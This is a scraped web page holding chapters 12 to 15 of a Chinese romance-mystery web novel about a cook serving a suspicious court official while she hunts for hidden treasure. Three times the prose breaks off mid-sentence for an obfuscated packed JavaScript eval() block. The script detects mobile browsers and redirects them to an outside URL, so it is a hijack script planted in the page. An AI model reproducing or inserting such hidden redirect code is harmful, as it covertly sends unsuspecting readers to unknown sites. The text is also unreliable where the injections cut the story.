姚福也赞同:“既然韩大人是好官,又救了你,那你就踏踏实实给他做饭,家里有我呢。” 姚福与刘氏老实本分,从来不欠别人任何东西,人情债难还,又是救命的恩情,就是不给银子孙女也该去。 “姐,你又要走了吗?”芽芽抱着小白站在房间门口。 姚轻雪招招手,芽芽抿着嘴走过来,显然是不高兴了。 “这次走的不远,我会经常回来看你。”姚轻雪原本想说家里要是有什么事,让芽芽去太平巷找她,但想到芽芽没有户籍,还是别乱走的好。若是被巡街的官差发现,再拿不出户籍那就麻烦大了。 芽芽不希望姐姐离开家,但也知道她得出去赚银子,便不情不愿地点了点头。 姚轻雪接过小白,转移话题:“小白乖不乖?。” 芽芽:“小白很听话,就是不听叫,爷爷奶奶叫我它就跑过去。” 名字这事姚轻雪也没法子,谁叫吴姨娘给猫取女儿的乳名呢。她到死都不会想到:有一天猫会和她女儿生活在同一屋檐下。 刘氏笑道:“头次见跟人抢名字的猫,你说它在原来的家里会不会就叫芽芽?” 姚轻雪:“……”不得不说老太太真相了。 晚上吃饭时,小白不肯吃米饭,姚福想喂肉,姚轻雪不惯着它,“我们吃啥你吃啥,不吃就饿着。” 小白叫了几声见无人理它,慢慢走到碗前吃起来。 刘氏歪头跟姚福咬耳朵:“现在这脾气可了不得,猫都怵她,收拾得服服帖帖。” 姚福看一眼孙女,给刘氏夹菜:“挺好。”厉害点以后管得住上门婿。 饭后芽芽主动帮忙收拾碗筷,姚轻雪没有阻止,她不在家,刘氏身体又不好,芽芽得学会做家务事,穷人家的孩子哪有不干活的。 次日清晨,姚福起来蒸包子,姚轻雪帮爷爷包了会儿包子。天色放亮后她背上装衣物的包袱准备出门,她得赶在韩泽上值前做好早饭。 想起韩大人家里空空的厨房,姚轻雪从自家拿了把青菜、一小块瘦肉和几个鸡蛋。 韩泽起床后,一碗肉丝鸡蛋面便摆在了眼前。 昨日凑合,今早糊弄,韩大人不高兴了:“你就这么给主子做饭?” 12. 第 12 章 “昨日您也没给我银子啊,今早的菜、肉和鸡蛋还是我自己掏钱买的呢,共二十个铜板。”姚轻雪伸出一只手。 韩泽:“……”长这么大从未有人敢伸手朝他要银子。 姚轻雪以为要多了,刚要改口,就见韩泽把一个钱袋扔到桌上,“每日不得超过一百文。” 姚轻雪拿起沉甸甸的钱袋,笑眯眯道:“好的大人,您还有什么吩咐?若是没有我这就去买菜,早上的菜新鲜,去晚了就没有了。” 男人挥挥手,姚轻雪转身出了房间,她没看见身后之人正用筷子往桌子上夹青菜和葱花。韩泽略带嫌弃地往嘴里放了一根面,面条柔中带韧、口感爽滑,麦香里竟有蛋的味道。再看面条,微微泛黄,想来是用鸡蛋和的面。 吃两口面,再咬一口酥脆流心的煎蛋,韩泽满足地喟叹一声,他突然意识到什么,往门口瞟了一眼,没见到那厨娘的影子才放心大口吃起来,没一会儿一碗肉丝面就吃得干干净净。 姚轻雪回到给她安排的房间,拿了一百文放在腰间荷包里,其余的钱放在柜子里的衣服下面,身上带太多钱出门不安全。 出门前,姚轻雪先找曹叔问韩泽的口味。他自己说什么都行,但人都有个喜好,总有不喜欢吃的东西。 “少爷不喜欢吃鱼、鸭、羊肉、内脏,葱蒜等味道重的从来不碰,也不太爱吃青菜。”曹叔一口气说了一大堆。 姚轻雪:“……”这么挑食还说什么都行? “姑娘,我跟你说。”曹叔小声道:“少爷受不得饿,一饿就容易发脾气,我手艺不行他很少在家吃饭,现在你来了,少爷怕是得日日在家用饭,一日三餐你得按时做,千万别耽搁了少爷吃饭。” 姚轻雪:“……”还有这毛病?不过可以理解,挑食严重,吃不饱也吃不好,脾气能好才怪。 不爱吃菜、不爱吃羊肉、鱼肉,能发挥的余地就少了大半。姚轻雪在街上转了一圈,最后买了排骨、豆腐、香菇与青菜。 午饭做了红烧小排、炒青菜,外加一道东坡豆腐,将豆腐炸至金黄与香菇一起煨焖。 韩泽对几道菜还算满意,把肉和豆腐吃完,青菜一口没动,豆腐里的几根点缀的青菜都被他扒拉到盘子一边。 收拾碗筷时,姚轻雪没忍住“噗嗤”笑了出来。高冷的韩大人,在吃上却像个小孩子,她家芽芽都没有这么挑食。 晚上姚轻雪准备了煎饺、小炒肉,韩泽也吃了不少。还说明早想吃汤包。晚上姚轻雪熬了一碗猪皮冻。次日早蒸了一锅汤包。菜就一个,青菜丸子汤。 这两天姚轻雪发现韩泽对菜的数量没什么要求,只要是他喜欢吃的,两个菜行,一个菜也没问题,其实只要摸对了他的口味,这人还是很好伺候的。 有此觉悟,丸子汤里为何还要加青菜?姚轻雪觉得作为专业人士有必要劝一劝挑食的主子。见韩泽往碗外扒拉青菜,姚轻雪道:“韩大人,您是不是一饿就暴躁?” 韩泽给了她一个凌厉的眼神,姚轻雪拍了一下嘴巴,“说错了,是心情不好,饿肚子心情差,很可能是您身体里缺了某些东西。您瞧老虎吃肉容易咬人,兔子食草性情温顺,人就得菜和肉都吃,才能阴阳平衡、心平气和。您得改改挑食的毛病,青菜存在自然有它的道理,您说是不是?” 韩泽嗤了一声:“你是说我脾气不好?还是怕我咬你?” “……算我多嘴,听不听随您。” 姚轻雪走后,韩泽盯着碗里的青菜看了半晌,最终还是没有挑出去,吃着吃着感觉青菜似乎也没有很难吃,当然最让他满意的当属汤包。 这探子包包子的手艺真是了得,细褶密叠,每个包子都有十八个褶,宛如一朵朵菊花。韩泽小心捏住包子顶端往上提,然后再放下,心道果然:“提起像灯笼,放下如菊花。” 他端起碟子小心地在包子边上咬了一口,而后快速吸着里面的汁,汤汁浓郁,味道极其鲜美,吃后满口留香。韩大人一口气吃了八个拳头大的汤包。 去上值的韩少卿脚步都轻快了,曹叔从他脸上看到了一丝喜色,果然吃饱饭的少爷心情才好。租宅子时夫人给安排了丫鬟婆子和厨子,让少爷全都撵了回去,就留他一人看家守门。 少爷平日都在外面吃,他也饥一顿饱一顿,如今姚厨娘来了,他老曹也能吃上口热乎饭了。曹旺吃了六个包子才放下筷子,还忍不住夸一句:“姚厨娘你这手艺绝了。” 汤包他吃过不少,跟着少爷京城最贵的几家酒楼都吃过,但没有哪一家做出来的包子比得过姚厨娘。还有丸子汤,猪肉做丸子清汤锅里煮,竟然没有一点腥味儿。 “我会做的菜还有很多,以后慢慢做给您吃。”姚轻雪喝下最后一口汤,去正房收拾碗碟。 见桌上仅有一根青菜,姚轻雪嘀咕还挺听劝。收拾完灶房,她拿上钱跨上篮子,跟曹叔打了声招呼出门了。她先去买了菜,然后去牛街找姚福。 姚福正满头大汗给客人捡包子,姚轻雪放下东西过去帮忙。 “姚老头,这姑娘是谁啊?”常来买包子的妇人与姚福搭话。 姚轻雪笑着把包子递给她:“婶子,我来帮爷爷卖包子。” 妇人道:“哟,原来是孙女,姚老头有福气,孙女既漂亮又能干。” 姚福憨憨一笑,等客人少了他问孙女:“你不是给韩大人做饭吗?怎地来这了?” “韩大人早就去上值了,吃过早饭我才来买菜,做午饭还早呢,没什么事就过来看看您。”姚轻雪边帮忙收拾东西边与姚福说着话。 姚福不赞同道:“这可不行,既然拿工钱就安生给人家干活,若是让韩大人知道你偷偷跑来帮我,他会不乐意的。” “知道了,我就是不放心过来看看您。”姚轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555695|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪也没打算天天来帮忙,她得抽空出城瞧山去。心里知道有金银财宝不知在哪个角落蒙尘,不把它找出来,岂能甘心。 帮姚福卖了会儿包子,见时间差不多了姚轻雪便回去给韩泽做午膳。韩大人回到家,饭菜便摆在了眼前。 韩泽有些恍惚,说实话,这两日姚轻雪的厨艺让他十分满意。即便在韩家他也很少有连续几天顿顿吃饱吃好的时候。 这厨娘做的饭菜像是有什么魔力,让他欲罢不能,每到饭点就想着回家。韩泽有些郁闷,他把姚轻雪弄家里来,是想迫使她行动起来。 结果她一日三餐,一餐不落,除了买菜、去帮姚福,就没去过别的地方。这么看姚轻雪似乎没有破绽。 没有破绽只能说明两件事,一是姚轻雪身份没有问题,二是她装出来的,若是装出现在这个样子,韩泽拧了下眉,如此擅忍耐可见城府之深。 下午韩泽出门后,姚轻雪闲着没事问曹叔有没有纸笔。韩家不同安国公府,有专人送菜,她只需要做就成。现在每天买菜,须得有账目。虽然韩泽没有要求,但为了避免可能产生不必要的麻烦,姚轻雪决定记账。 曹叔指了指书房:“书房里有,你去用吧。” “我能去?”书房不同别处,姚轻雪不敢擅自进入。 “不碍事。”曹叔摆摆手,“书房我每日都去,隔壁的书生偶尔也会过来借书,少爷从来不管。”韩泽交代过,对待姚厨娘不必拘礼,她想做什么便做什么。书房他可以随便进去,想必姚厨娘也没有问题。 没忌讳就好,姚轻雪推开书房的门,正对门是一张长条书案,书案后摆了个书架,上面有很多书。 案上笔墨纸砚齐全,姚轻雪用鸟嘴的小壶往砚台里加了点水,轻轻研墨,然后拿了一页纸,准备把这几日买菜的流水记下来。刚要下笔她想起来,这里的文字有些她能根据偏旁部首猜出个大概,但完全不会写。 想了想,姚轻雪决定用图代替,排骨就画段骨头,豆腐是个小方块,青菜就画了两根草。多少钱就在相应的图案后面画点。一个大点代表十文,一个小点代表一文,骨头后面两个大点加三个小点就是二十三文。 写写画画了有一刻钟,姚轻雪放下笔,背着手站在书架前,她很想看看上面的书、学学认字,但没有主人允许她不能动。这时的书很贵,随便一本怕比她工钱都高。 姚轻雪想着等与韩泽再熟一些,跟他借本书看看应该不难。她不指望学多少东西,会写字不当睁眼瞎就成。 姚轻雪把鬼画符一样的记账单折好拿走,书房的门刚关上,书架后面闪出一个人。封八疑惑,这厨娘虽然什么都没动,但她盯着韩少卿的桌案和书架看了许久。 按理说穷人家的女子不应该读过书,但瞧她的样子却像是识字。果然,这厨娘身上疑点很多。封八跳出后窗,翻墙出院后直奔大理寺。 13. 第 13 章 这天晚上韩泽回来的很晚,姚轻雪早已睡下了。韩泽把她叫起来。姚轻雪打着哈气去做饭,一刻钟后一碗面疙瘩汤摆在了韩大人面前。 才来几天,这面汤在他面前出现了两次,韩泽被气笑了:“一月五两银子工钱,你就给我做这个?” 姚轻雪知道自己这么应付是有点不对,于是狡辩道:“您瞧瞧现在什么时辰?我倒是能给您做四菜一汤,那得一个时辰后,您不饿吗?晚上吃点软和的好消化,面汤养人,韩大人!” 韩泽本想刁难一番,但瞧她不情愿的样子,若是让她重新做,估计得天亮才能吃上饭。他等得起,但肚子受不住。况且事情还没查清,万一她生气借故要走很麻烦。 见他拿起筷子,姚轻雪悄悄松口气,经过这几日的试探,她摸清了韩泽的几分脾气,虽然毛病多,但人是真心不坏。在张家或是安国公府,她绝对不敢这么跟主子说话。 “你干嘛去?”见她转身要走,韩泽把人叫住。 “回去睡觉啊。”姚轻雪理所当然地回答。 韩泽不满道:“你走了碗筷要我收拾?主子用膳你不在一旁伺候,还想先去睡?” “明早起来收拾不行?”她是厨娘,又不是贴身丫鬟。 “不行,该拾掇的东西没收拾,我夜里睡不着。” 毛病真多!为了主子夜里能睡个好觉,姚轻雪只好站在一边看韩泽细嚼慢咽,一块面疙瘩咬三口还没吃完,姚轻雪都替他急,不是饿吗?就不能吃快点? “没有煎蛋。”吃着吃着韩泽突然来了这么一句。 姚轻雪:“……我去给您煎一个?” 韩泽点头,姚轻雪用力攥了攥拳,他居然点头?她就随口一问,正常人都会说:“算了,这么晚了,不麻烦了。” 她就不该问,哎。姚轻雪认命地去厨房。幸好锅还是热的,烧上两把干草煎蛋就出锅了,等姚轻雪端着盘子回来,韩泽问:“这两日的账记了吗?” 姚轻雪不明白他大半夜的为何要查账?难道怕她多花?但韩泽不是斤斤计较的人。尽管不明白她还是老实地回房,把白天记的纸拿出来给他看。 “请大人过目。”她把每个图代表的意思说了下。 “嗯,不错,这个法子简单明了,很方便。”韩泽拿起纸看了看,突然问:“你识字?” 姚轻雪摇头:“跟旁人认识几个,但不多,也不会写。” 韩泽没再说什么,他把碗里的东西吃光,起身走了。姚轻雪收拾碗筷,小声嘟囔:“折腾人。” 走到门边的韩泽不动声色地回头,他可以肯定姚轻雪识字,虽然那页纸上没有一个字,但那几个图用力均匀,一点晕染都没有,不是第一次用笔之人该有的流畅。这与之前调查的姚轻雪没读过书相悖。 除了今日去他书房,这些日子姚轻雪没有任何动静,韩泽都怀疑是不是自己想错了,但姚轻雪身上又有很多解释不通的地方,还得继续观察。 躺在床上的韩泽屏息凝听,不多时隔壁传来轻微响动,很快便归于寂静。这几日他夜里都很警醒,睡觉几乎睁一只眼闭一只眼,姚轻雪一有动静,他都听得见。 次日,韩泽起床来到院中,听见厨房传来说话声,他闪身进了姚轻雪的房间。除了床上多了几件衣服,房间如当初给她时一样整洁。经过一番小心查看,没有发现任何有用或是可疑的地方。 韩泽不敢多待,他刚回屋坐下,一碗皮薄馅大、飘着香气的馄饨就端了上来。除了馄饨,还有一碟子凉拌瓜丝。韩泽本不想动,但想起姚轻雪胡说八道的那些话,似乎有些道理,世界上万物存在总是有它的理由,于是便忍着不快吃了一口。 瓜丝微微带点甜、竟然有肉香,仔细一看,发现瓜丝里面有一条条肉丝,肉丝酥脆、越嚼越香。一大碗馄饨最后汤都没剩,韩泽眉眼舒展,只是觉得没太饱。那厨娘扎进厨房就没影了,从来不在他身边伺候,不得已韩大人便屈尊降贵亲自去找人。 到厨房门口一看,他家厨娘和曹旺两人正就着馄饨汤吃包子! 韩泽:“……为何我没有的份?” “羊肉包子。”姚轻雪眨眨眼:“您不是不爱吃羊肉吗?所以就没给您送。” 韩泽不爱吃羊肉,他本想转身离开,但钻进鼻子里的香味勾得他很想尝一尝。于是他跨步进了灶房,从姚轻雪和曹旺的小桌上拿了个羊肉包子,试着咬了一口,然后再一口。 曹叔都忘了嚼嘴里的东西,就那么看着韩泽三两口吃完一个羊肉包,还对厨娘说:“我要两个,不,三个吧。” 牛叔与姚轻雪面面相觑,等韩泽离开,姚轻雪问:“曹叔,您确定大人不喜欢吃羊肉?”他分明吃的很开心。吃完那么大一碗馄饨,居然还能吃得下四个包子。 曹叔也摸不着头脑,只要韩泽在家,韩府的餐桌上就不会有羊肉做的任何菜,这都成了府中的规矩,今日怎么就在这小院中破了呢?追究原因那只能是姚厨娘的厨艺太好了。 给韩泽送去三个包子,姚轻雪回来继续吃,她好久就想吃羊肉包子了,只是羊肉不便宜,在姚家不舍得买,韩家嘛,韩泽没说不行,曹叔也好吃,于是今早买菜时她就自作主张买了点羊肉回来。只是没想到,韩泽会吃。 中午,大理寺来人说韩泽有事这两日不回家,姚轻雪心中高兴,正愁没时间出城呢,机会这不就来了。“曹叔,等会儿给您做完饭,我回家住一晚,明儿下午回来。” “成。”曹叔知道她家住的不远,既然少爷不在,她回家住也没什么,少爷不是苛刻的人。 姚家三口见到姚轻雪都很高兴,刘氏买肉买菜忙得不亦乐乎。姚轻雪想帮忙,被刘氏赶出灶房,“整日给别人做饭,回了家就好好歇着,跟芽芽去玩吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555696|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 芽芽也被赶出来陪姐姐玩,姐俩互相看了看都忍不住笑了。最近家里平顺,姚福的生意不错,刘氏心情好,身体也就好。 姐姐回家,芽芽最高兴,叽叽喳喳给姚轻雪讲这几天家里的事,其中关于小白的最多。白猫就躺在两人脚下,晃动着毛绒绒的大尾巴。 很快灶房传来香味儿,刘氏与姚福一人掌勺,一人蹲在灶前烧火,两人脸上都带着笑。姚轻雪看着忙碌的爷爷奶奶,听着妹妹说着家中趣事,内心难得的平和与安宁。 在家里住了一晚,次日一早帮姚福蒸完包子,姚轻雪带上几个说是回韩家,其实她雇了一辆牛车出城了。 路上姚轻雪问头发花白的车夫,城外有什么山?车夫便把京城周边的山都跟她讲了一遍。从车夫的描述中,姚轻雪选了城外五里的云峰山,据说人烟稀少,如果她要藏宝贝肯定选这样的地方。 到了云峰山下,姚轻雪让车夫在山下等着,她顺着山民常走的山路往上爬,一个时辰后她站在山顶向远处眺望,搜寻与图纸上那几条线相对应的山峰,但完全对不上。 图纸上的几条线高矮起伏、波动很大,而云峰山就是一整座山蜿蜒向远方。她站的地点虽不是最高处,但也能把整个山脉看个大概。 姚轻雪并未往山里钻,一个是觉得不安全,另外她觉得那张图那么抽象,一定不是站在犄角旮旯才能看到的地方,不然谁都找不到,张迁还画图干嘛。 花了半个时辰下山,姚轻雪让车夫往东南去,她刚站在山顶看见那边有几座起伏不定的山峰。车夫不明白这姑娘爬完一座山,又去爬更远处的山干什么?反正她给了一日包车的钱,让他去他就去。 姚轻雪费了九牛二虎之力登上三指山,在山顶看了许久又失望而归,等她从山上下来,太阳已经在西边的山顶了。今天白跑一趟。 看来这么找不行,一点头绪都没有,跟无头苍蝇似的找不是办法。姚轻雪坐在返程的牛车上在心里骂张迁。要不就别画什么图给人希望,既然画了你就好好写清楚。 天色渐黑,车夫扬起鞭子让老黄牛加快了步伐。走了大约有二里地,路上出现三个男人。本来井水不犯河水,谁也没挨着谁。哪知有一人突然往牛车前面一倒。 车夫急忙拉住缰绳,还不等他们说话,另外两个男人气势汹汹地围过来,“撞伤了我大哥,别想走。” 一人夺了车夫手里的缰绳,另一人来到姚轻雪面前:“撞伤了人,把钱都拿出来,不然别想过去。” 姚轻雪默默解下腰间的荷包扔过去:“我只有这么多。” 那人捡起钱袋打开来看:“就这么点,都不够我喝顿酒的。” 车夫身上的几个钱,还是早上姚轻雪付的车资。俩人加起来总共不到一百文。 男人不甘心:“不成,我得搜搜。”说着伸手就要搜姚轻雪的身。 14. 第 14 章 男人脸上带着坏笑,姚轻雪哪能不明白他想干什么。她眼疾手快从包袱里掏出一把菜刀。歹人显然没有料到娇滴滴的姑娘竟藏着刀,赶忙后退。 车夫也懵了,这一天他都没发现客人包里藏着菜刀。他哪里知道姚轻雪随身带刀,第一个防的就是车夫。 “本来只想拿几个钱喝顿酒,现在大爷我改主意了,酒不喝了,小娘子陪我们哥仨快活快活。”三人根本没把姚轻雪放在眼里。拿着刀又怎样,还不是个弱不禁风的姑娘。 车夫早就吓傻了,站那一动不敢动。姚轻雪面上强装镇静,心里却慌的不行,也很后悔自己太莽撞,不该一个人跑到城外来。 姚轻雪把刀横在腿上,对三个人道:“我劝几位就此罢手,不然大理寺不会放过你们。可知我与大理寺是什么关系?” “什、什么关系?”男人生出顾虑,他们三个也就抢点小财,可不敢招惹官家亲眷。 地上躺着的男人爬起来,上下打量姚轻雪与车夫。“别听她吓唬人,只有穷才会坐牛车,还跟大理寺有关系,大理寺的厨子出门都坐马车。” 姚轻雪:“……”回头问问韩泽大理寺厨子多少月钱。 男人听同伴分析的有理,更加肆无忌惮:“这张巧嘴,差点让你糊弄了,哥哥好好疼你。”他把手伸向牛车。 姚轻雪深吸一口气,看来今日是躲不过去了。就在歹人的手要碰到她前襟衣服时,她突然右手一转,刀刃上翻瞬间割开了男人的手腕。男人捂着手哀嚎着跌坐到地上。姚轻雪也半跪在牛车上,拿着菜刀凶狠地瞪着他们。 另两人懵了,他们没料到一个姑娘这么凶悍,其中一人骂骂咧咧去看同伙的伤势,另一人仍牵着牛的缰绳。三人暂时顾不上她。 眼见天暗下来,姚轻雪心中焦急,她想着要不给牛屁股来一刀吧,三人对车夫老伯没兴趣,只要她逃了,回去报官,车夫就不会有危险。 她瞧准了牛屁股,正准备动手,就听见后方一阵急促的马蹄声由远及近。姚轻雪心中大喜,只要有人来把三个男人冲走,她和车夫就安全了。 歹人大叫不好,两个男人拽起受伤的同伙就往路边的林子里钻,他们走过的路上还有滴滴血迹。 危险解除姚轻雪跌坐到牛车上,从始至终她都没离开牛车。 马蹄声很快来到近前。 “怎么是你?” 姚轻雪错愕,抬头一看,韩泽! 见她呆愣,韩泽问:“你出城做什么?” 姚轻雪:“游、游山玩水。”这要是被韩泽发现她在找财宝,她就完了。 韩泽不语,这厨娘在撒谎,哪有人到荒无人烟的地方游玩?难道北齐探子的老窝在山里?在这之前因为姚轻雪迟迟没有动作,他曾对自己的猜测和判断产生过怀疑。现在却他更加坚定地认为姚轻雪有问题,看来耐心等待还是有收获的。 看着她手里的菜刀,韩泽又问:“游山玩水带菜刀?” 姚轻雪平复了下心绪,回道:“我一个还算有点姿色的姑娘,不带点防身之物怎敢出门?”这话倒是发自内心的。 韩泽:“……刀上为何有血?” 姚轻雪指了指树林、歹人逃走的方向,“刚有人劫财,被我伤了,大人您快去追坏人。” 韩泽瞥她一眼:“回城。” 姚轻雪:“……” 车夫战战兢兢赶着牛车跟在大理寺的队伍后,见骑马的官爷似乎故意放慢速度,等他的牛车,老汉急得头上都冒汗了。 “老伯,您别急,时间还早,赶在城门关上之前回去就成。” “哎。”尽管官爷说不急,车夫还是把牛车赶得飞快。 姚轻雪抓着牛车一侧的箱板,免得被颠下去。她抽空转头去看说话的杜七,怎么觉得这人有些眼熟,但想不起来在哪里见过。 杜七见姚轻雪盯着自己,他汗都要下来了。昨日他随韩泽去东平府查丢失火器的下落,监视姚轻雪的任务便交给了封八。 杜七很怕姚轻雪发现自己是她家附近的货郎,他一勒缰绳来到韩泽身侧,压低了声音:“大人,那三人已被封八绑了起来,稍后回城叫人过来带回去。” “嗯。”韩泽点头。姚轻雪身边一直有人跟着,她今日都干了什么,姚轻雪不说,封八也一清二楚。 杜七又问:“大人,您相信她的话吗?” 韩泽冷哼:“趁我不在家,一个人跑到荒郊野外游山玩水,你觉得我会信?” 杜七抿着嘴没说话,韩大人这话没毛病,但就感觉似乎哪里不对。 到太平巷天已经黑了,姚轻雪快被牛车颠得散架了,腿都是软的。曹叔见俩人同时进门还觉得奇怪:“你家在葫芦巷,怎地跟少爷一块回来了?” 姚轻雪尴尬地笑了笑:“路上凑巧碰上。” 韩泽看她一眼,心道谎话连篇,连曹叔都骗。 由于天色太晚,姚轻雪没做饭,在征得韩泽同意后,让曹叔去外面买了吃食。韩泽只尝了几口便放下筷子。 半夜姚轻雪被敲门声吵醒,待她点上油灯打开房门,见韩泽一脸阴沉地站在月光下。还不等她开口,韩大人冷冷道:“我饿了。” 姚轻雪:“……”今晚从酒楼买回来的菜,韩泽没吃几口,曹叔还问她要不要给少爷做点吃的。今日她又累又吓,实在不想做,何况韩泽也没说要她做。 姚轻雪叹气,早知会这样,曹叔问时她就不该偷懒。姚轻雪拖着疲倦的身躯往灶房走去。 “不要面疙瘩汤。”韩泽冲姚轻雪的背影说道。 姚轻雪:“……”好吧,她确实想做这个来着。 “不准用砍过人的菜刀。” 姚轻雪:“……” 昨日她不在,没有买菜,厨房没什么可吃的,姚轻雪把厨房的东西看了一遍。然后生火、淘米煮饭。瓦罐里有些熬油剩下的油渣,她打算用油渣炒饭。 没一会儿,厨房飘出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555697|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浓郁的香气。韩泽的肚子不争气地“咕噜”一声。一盘鸡蛋油渣炒饭,油渣就占了一小半,韩泽吃的特别过瘾和满足。 姚轻雪在厨房也吃了小半碗,虽然肚子不饿,但用油渣炒出来的米饭太香了,她没忍住给自己偷偷留了点。等韩泽吃完,她把碗筷洗了,这才回房睡觉。 次日韩泽吃过自家厨娘做的混沌后去上直,他把封八找过去问姚轻雪昨日都去了哪里?干了什么? “她似乎在找什么东西?但应该没找到。”封八一路跟着姚轻雪爬了两座山,自然把她的行为和异常都看在眼里。 “大人,姚轻雪会不会在找火器的下落?”杜七道。 陈九:“她往山里跑?难道是被埋在了山中?我们要不要搜山。” 封八嘴一咧:“你说的轻巧,就昨日去的云峰山和三指山,咱们大理寺搜三年也搜不完啊。况且姚轻雪没找到,或许就不在这两座山里,盲目搜山不可取。若是姚轻雪知道藏在某处,我们盯紧她便是。这厨娘是个狠人,那男人的手腕昨晚郎中看过了,断了筋,好了以后那只手也不利索了。” 普通人跟他们刀上舔血的人不一样,砍人哪怕是坏人也不敢轻易下手,何况是个姑娘。然而昨日封八亲眼看见姚轻雪面对三个歹人镇静自若。“还有啊,昨儿她把咱们大理寺抬出来了,不过那三个人也不傻,她没吓唬住。” 韩泽按了按额角,这厨娘真会蒙骗,上次借他大理寺少卿的名头,现在又是大理寺,不知道的还以为她跟大理寺沾亲带故呢。 韩泽让封八带人把昨日姚轻雪走过的路线好好搜查一番,又叮嘱杜七一定要把姚轻雪看住了。既然露出了狐狸尾巴,想必离端了北齐探子的老窝也不会太远。 “阿嚏!”在房中躺着的姚轻雪频频打喷嚏,她没有着凉,那就是有人念叨自己,她还嘀咕刚回来爷爷他们就想自己了。 出城一趟,姚轻雪吓得不轻,也累得够呛,伺候完韩泽吃饭,她就回房躺着养身体。一连躺了几天才缓过来。 这几日做饭简单,好在对上韩泽的胃口,他也不说什么。今日姚轻雪决定好好做一顿饭,好歹韩大人救她一命。 忙了一上午做出四菜一汤,瓦罐煲鸡、酿豆腐、糖醋排骨、煎五花肉和丸子汤。可以说从姚轻雪来韩家做厨娘,这顿最丰盛,都是照着韩泽的喜好准备的。 韩泽非常满意,然而吃了几口,他突然吸吸鼻子,味道有些冲,但绝不是他眼前的菜发出来的。韩大人皱了皱眉,起身去一探究竟。 “嘶!好吃!”曹叔吃着香辣鱼。两人都没注意有人过来。 今日买菜看见鱼,姚轻雪突然想吃香辣鱼,于是就买了一条。为了做这道菜她特地买了茱萸。她吃得大汗淋漓,曹叔更是头都不抬,他活这么久就没吃过这么过瘾的鱼。 “你们在吃什么?” 姚轻雪下意识地回道:“吃鱼啊。” 韩泽抱着胳膊:“为何我没有?” 15. 第 15 章 姚轻雪诧异道:“您不是不喜欢吃鱼吗?”她红嘟嘟的小嘴因为惊讶而微张着。 韩泽别开眼:“突然想吃了。” 姚轻雪把碗放下,一抹嘴:“没了,就做一条,我和曹叔都吃完了。”曹旺尴尬,一条鱼让他俩吃光,盘里就剩鱼头和鱼刺了。 韩泽盯着她看,看得姚轻雪心里发毛,他才转身离去。重新回到座位的韩泽把排骨当那厨娘,狠狠咬了一口。 总是背着他另做吃食,真不知道谁才是主子。若不是怕她撂挑子不干,非得治治她这毛病。都不给做,怎么知道他吃不吃?惯会自作主张,韩府的厨子若是这个样子,一天都待不下去。 好在眼前的饭菜是自己喜欢的,韩泽气归气,饭菜一点没少吃,饭后他来到书房。杜七从书架后面探出头,他笑嘻嘻地说道:“大人,您家的饭菜可真香,这味儿比酒楼里都好闻。”要是能给他一口吃就好了。 飘进书房的味道无疑是那道味道很重的鱼,韩泽心道他都没吃上:“辛苦了!这几日姚轻雪有何动作?” 杜七摇头:“没有,除了买菜没去任何地方,您说她是不是跟我们一样并不知道东西藏在哪里,捕风捉影地找,找不到就在您家里当那螳螂捕蝉的雀?要不要放个饵出去?” 大理寺找了不少地方,百里之外有个风吹草动,他们都要亲自跑一趟,结果到那一看空欢喜一场。 想通过他找东西?韩泽手指一下一下轻轻敲着桌面。他回家一向不说公事,若是转变太大,难免会引起姚轻雪的怀疑。“再等等。” 午休过后韩泽去上直,临走前他告诉曹叔,晚上他要吃中午他们吃的鱼。曹叔惊喜地找姚轻雪:“自从你来了以后,少爷能吃不少以前不爱吃的东西,姚厨娘你可真厉害。” 姚轻雪心道那是自然,她对自己的厨艺还是很自信的。韩泽挑食一个是他自身原因,另外这里的厨子做出来的菜跟她比还是差了一截,毕竟见识和所学不在一个层次。 下午姚轻雪出去买鱼,晚上韩家小院又飘出香香辣辣的气味。宋筠闻着隔壁的味道心猿意马,手里的书半天没翻页都没有察觉。最后实在受不了,他便遵从本心,把书一合,去敲隔壁的门。 曹叔把人领进厅堂,韩泽正准备动筷子,见有客来,便起身应对。宋筠说是来借本书,可眼睛却盯着桌上散发着不同寻常味道的鱼看。 韩泽看了看鱼,再看看宋筠渴望的眼神,他出于礼貌,客套道:“宋兄用过晚膳了吗?若是没有,不如坐下来一起。” 宋筠面带微笑:“会不会打扰韩大人?” 韩泽:“……不会。” 宋筠道谢后坐到桌边,这香味让他书都看不进去,不亲自尝一尝他寝食难安。曹叔在门口候着,见隔壁书生留下用饭,便去厨房让姚轻雪送去一副碗筷。 宋筠起身接过碗筷:“宋筠谢过姑娘!” 姚轻雪笑着道:“‘城府开清旭、松筠起碧浔’公子好名字!” 